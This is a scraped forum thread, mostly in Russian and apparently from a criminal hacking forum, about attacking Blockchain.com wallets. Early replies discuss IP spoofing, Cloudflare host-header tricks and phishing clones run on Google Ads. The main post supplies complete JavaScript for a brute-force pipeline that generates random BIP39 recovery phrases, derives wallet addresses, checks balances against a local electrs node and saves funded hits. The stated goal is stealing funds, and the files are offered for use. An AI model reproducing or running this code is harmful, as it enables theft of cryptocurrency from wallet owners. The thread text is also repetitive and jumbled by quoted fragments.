this is old method to spoof IP, its not working anymore.
I saw 2 domains on google ads with working IP spoofing. Any idea how it might work?this is old method to spoof IP, its not working anymore.
В том то и дело, что шанс на успех один к миллиардуоговорка: лучше не тратить время без вычислительных мощностей, типа крипто-фермы)
любой, у кого в запасе есть достаточно ресурсов и кто сможет выделить их на время - имеет шанс на успех.
да, комбинаций там миллиарды, но и в системе уже есть чуть более 60кк пользователей. за пару дней конечно ничего не выйдет,
но выделив мощности хорошей фермы и времени от месяца и выше - шансы очень сильно возрастают.
кто решится на этот шаг, за тем и профит.
ну да, люди запасаются видюхами, строят фермы под брут кошельков и брутят уже не один год.В том то и дело, что шанс на успех один к миллиарду
а это ответ тем товарищам, которые часто пишут и говорят, что из этой темы уже ничего не вытащить, да-да)I saw 2 domains on google ads with working IP spoofing. Any idea how it might work?
I am still trying to figure out the flow chain, on how IP is sent from blockchain.info => wallet.prod.blockchain.info . I will post here if I find something.and this is an answer to those comrades who often write and say that nothing can be pulled out of this topic, yes, yes)
Can you ask him on forum if cloudflare enterprise account is needed for the setup? All proxy sites I found live were on cloudflare, So maybe it has something to do with it. Plus CF enterprise allows you to rewrite host header. Which means you can rewrite your host header to blockchain.info while requesting wallet.prod.blockchain.infoI would like to note that while the article, along with other interesting materials, participates in the second round of open voting on exploit.in ,
in the meantime, new sellers of the working solution are already appearing:
Посмотреть вложение 26586
You can also see the working fakes of warheads, which are spinning in google.ads (found [USER = 190633] Windefender [/ USER]):
Посмотреть вложение 26587
Based on this, we can safely conclude that for some of us the material turned out to be really useful))
The theme is livelier)
Итак, дорогие друзья, мы продолжаемраз**быватьисследовать blockchain.com)
Да, мало кто мог бы подумать, но у данной темы есть своё продолжение! ?
Несколько человек отписывало, что материал сложный для реализации, и что нужны более
простые изящные решения, дающие быстрый результат без вовлечения в подробности. Не вопрос)
Постараемся "убить двух зайцев", написав и продолжение статьи и вариант эксплуатации решения до профита)
Данный материал является дополнением к основной статье и поможет вам получить дополнительные идеи для размышления.
"Never gonna stop me, never gonna stop"(c) Rob Zombie)
Прошло всего пару месяцев и разработчики блокчейна, не теряя времени зря, выпускают обновления и залатывают указанные в первой статье уязвимости системы - это было ожидаемо. Теперь работающие по теме люди готовы заплатить приличную сумму лишь только за рабочий спуфинг, но речь будет не о нём - в своих изысканиях мы пойдём еще дальше)
Lets Go!
Из первой части мы узнали, что 12 слов восстановления позволяют получить доступ к аккаунту, при попытке восстановления по ссылке:
В браузере делается GET запрос вида
далее показывается форма для смены пароля:
А что будет если сгенерировать 12 слов через генератор, используя тот самый, уже упомянутый BIP39?
Переходим по ссылке:
Выбираем настройку 12 слов и нажимаем Generate.
Получаем результат, например:
Вводим его в форму восстановления по ссылке чуть выше и нажимаем на "Continue":
Хм... заметили разницу, что если адрес существует, то показывается только "форма для смены пароля",
а если адреса не существует, то "форма для ввода почты и пароля" !?)
Простыми словами, если аккаунт существует в системе, то отдаётся 200 ответ на запрос GET, если аккаунта не существует просто 404 ошибка...
Если всё это происходит в веб-интерфейсе, значит мы можем воссоздать генерацию и попробовать найти кошельки с балансом.
Что нам для этого потребуется:
- Найти логику генерации 12 слов
- Найти логику определения основного адреса
- Создать генератор
- Начать брут
- получить PROFIT
Сказано - cделано.
Ищем логику генерации в проекте веб-интерфейса:
Находим замечательную функцию в файле:
JavaScript:// generateMnemonic :: Api -> Promise String export const generateMnemonic = (api) => { return createRng(16, api).then((rng) => BIP39.generateMnemonic(null, rng)) }
Делаем вновь поиск данной функции "generateMnemonic", где же она используется и находим, что она используется "при создании аккаунта", поэтому мы движемся в правильном направлении:
Функция содержит основную логику в файле:
JavaScript:// createRng :: Int -> Promise Rng Error const createRng = (maxBytes = DEFAULT_BYTES, api) => { return getServerEntropy(maxBytes, api).then(serverH => { let localH = _overrides.randomBytes(maxBytes) let entropy = serverH.chain(sH => mixEntropy(localH, sH, maxBytes)) // Rng :: Int -> Buffer return nBytes => { nBytes = isPositiveInteger(nBytes) ? nBytes : DEFAULT_BYTES if (entropy.isLeft) { throw entropy.value } if (entropy.value.length < nBytes) { throw new Error('rng ran out of server provided entropy') } let generated = entropy.value.slice(0, nBytes) entropy = entropy.map(e => e.slice(nBytes)) return generated } }) }
Определение основного адреса c 12 слов ищем по запросу:
И находим в файле:
Путём небольших манипуляций на основе этого файла создаём свой собственный генератор:
JavaScript:import BIP39 from 'bip39'; import randomBytes from 'randombytes'; import Either from 'data.either'; const DEFAULT_BYTES = 32; import Bitcoin from 'bitcoinjs-lib' import {compose, curry} from 'ramda'; import * as crypto from 'crypto' import {Queue} from 'bullmq'; const myQueue = new Queue('brute'); // Expose randomBytes for iOS to override const _overrides = { randomBytes, }; const generateMnemonic = () => { let rng = createRng(16); return BIP39.generateMnemonic(null, rng); }; const xor = (a, b) => { if (!Buffer.isBuffer(a) && !Buffer.isBuffer(b)) { console.log('Expected arguments to be buffers') return false; } let length = Math.min(a.length, b.length); let buffer = Buffer.alloc(length); for (let i = 0; i < length; ++i) { buffer[i] = a[i] ^ b[i]; } return buffer; }; const createRng = (maxBytes = DEFAULT_BYTES) => { let serverH = getServerEntropy(maxBytes); let localH = _overrides.randomBytes(maxBytes); let entropy = mixEntropy(localH, serverH, maxBytes); return (nBytes) => { let positive = Math.sign(nBytes); if (positive !== 1) { nBytes = DEFAULT_BYTES; } if (entropy.isLeft) { throw entropy.value; } //console.log(entropy.value.length); if (entropy.value.length < nBytes) { console.log('rng ran out of server provided entropy'); } //console.log('returning magic'); let generated = entropy.value.slice(0, nBytes); entropy = entropy.map((e) => e.slice(nBytes)); // console.log(generated.toString('hex').length); return generated; }; }; // getServerEntropy :: Int -> Promise (Either Buffer Error) Error const getServerEntropy = (nBytes = DEFAULT_BYTES) => { return _overrides.randomBytes(nBytes); }; const mixEntropy = (localH, serverH, nBytes) => { try { if (localH.length === 0) { console.log('Local entropy should not be empty.'); return false; } if (serverH.length === 0) { console.log('Server entropy should not be empty.'); return false; } if (Array.prototype.every.call(localH, (b) => b === localH[0])) { console.log('The browser entropy should not be the same byte repeated.'); return false; } if (Array.prototype.every.call(serverH, (b) => b === serverH[0])) { console.log('The server entropy should not be the same byte repeated.'); return false; } if (serverH.length !== localH.length) { console.log('Both entropies should be same of the length.'); return false; } let combinedH = xor(localH, serverH); if (Array.prototype.every.call(combinedH, (b) => b === combinedH[0])) { console.log('The combined entropy should not be the same byte repeated.'); return false; } if (combinedH.length !== nBytes) { console.log('Combined entropy should be of requested length.'); } return Either.of(combinedH); } catch (e) { return false; } }; const getMasterHDNode = curry((network, seedHex) => { const mnemonic = BIP39.entropyToMnemonic(seedHex) const masterhex = BIP39.mnemonicToSeed(mnemonic) return Bitcoin.HDNode.fromSeedBuffer(masterhex, network) }) const deriveMetadataNode = masterHDNode => { // BIP 43 purpose needs to be 31 bit or less. For lack of a BIP number // we take the first 31 bits of the SHA256 hash of a reverse domain. let hash = sha256('info.blockchain.metadata') let purpose = hash.slice(0, 4).readUInt32BE(0) & 0x7fffffff // 510742 return masterHDNode.deriveHardened(purpose) } const sha256 = data => crypto .createHash('sha256') .update(data) .digest() const fromMetadataXpriv = curry((xpriv, typeId, network) => fromMetadataHDNode(Bitcoin.HDNode.fromBase58(xpriv, network), typeId) ) const fromMetadataHDNode = curry((metadataHDNode, typeId) => { let payloadTypeNode = metadataHDNode.deriveHardened(typeId) let node = payloadTypeNode.deriveHardened(0) return fromKeys(node.keyPair) }) const fromKeys = (entryECKey) => { return entryECKey.getAddress() } do { const mmnemonic = generateMnemonic() console.log(mmnemonic) const seedHex = BIP39.mnemonicToEntropy(mmnemonic) const getMetadataNode = compose( deriveMetadataNode, getMasterHDNode(Bitcoin.networks.btc) ) const metadataNode = getMetadataNode(seedHex) const mxpriv = metadataNode.toBase58() const typeId = 12 const address = fromMetadataXpriv(mxpriv, typeId, Bitcoin.networks.bitcoin) console.log(address) await myQueue.add('address', {mmnemonic, address}, { removeOnComplete: true, removeOnFail: 500 }); } while (true)
Итак, генератор у нас теперь есть, определение основного адреса тоже, но как понять, что 12 слов поймали крупную рыбку?
Логично - нужно смотреть на наличие транзакций или просто баланс.
Можно конечно же использовать "публичные API сервисы" для запроса на наличие транзакций/баланса, но ведь всё будет упираться в лимиты таких сервисов...
Единственное возможное решение - это поднятие такого же сервиса локально, поэтому среди публичных сервисов ищем тот, который имеет API, а так же открытый код.
И мы находим сервис blockstream.info, который имеет API, а так же открытый код:
Цитата
Идеально, теперь создаём чекер:
JavaScript:import mongodb from 'mongodb'; const {MongoClient} = mongodb; import {Worker} from 'bullmq' // Адрес MongoDB const uri = "mongodb://localhost:27017/?readPreference=primary&ssl=false"; const client = new MongoClient(uri, {useUnifiedTopology: true}); import got from 'got'; const worker = new Worker('brute', async job => { check(job.data) }); function check(job) { // Делаем запросы got('http://127.0.0.1:3000/address/' + job.address).json() .then(function (data) { // Если количество транзакций больше нуля, значит операции были и адрес живой, можно добавить проверку на баланс тоже. if (data.chain_stats.tx_count > 0) { console.log('Транзакций больше чем 0') job.balance = data.chain_stats.funded_txo_sum - data.chain_stats.spent_txo_sum || 0 // Запись в базу данных insert(job) } else { console.log(data.chain_stats.tx_count) } }) } // Функция для записи в базу данных async function insert(data) { try { await client.connect(); const database = client.db('seed'); const seeds = database.collection("seeds"); await seeds.insertOne(data); } finally { await client.close(); } }
Вышли на финишную прямую.
Проверяем работоспособность генерации:
Проверяем работоспособность чекера:
Смотрим на работу electrs:
Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))
Для тех, кто просил "кнопку бабло" - как минимум, теперь у вас теперь есть хорошая удочка)
Да, конечно стоит сразу упомянуть, что на стационарном домашнем пк или виртуалках ваша генерация будет стремиться к бесконечности, и вам пригодятся более серьёзные ресурсы и мощности, но это и есть то самое, что в данной ситуации можно назвать как "без труда не вытянуть и рыбку из пруда".
При должном подходе вы всегда получите необходимые результаты, в этом нет сомнений.
Берегите себя, всем удачных реализаций! ?
Может кто-то поделиться, ссылка недействительна?Вот и всё на этом. Генерация, проверка и чек - всё работает на данный момент, и будет работать в дальнейшем)
На выходе мы получили готовую "систему для восстановления доступов к аккаунтам БЧ", с проверкой на баланс.
ПОДРОБНАЯ ИНСТРУКЦИЯ по установке всего этого добра, а так же рабочие файлы - доступны по ссылке, применяйте и пользуйтесь))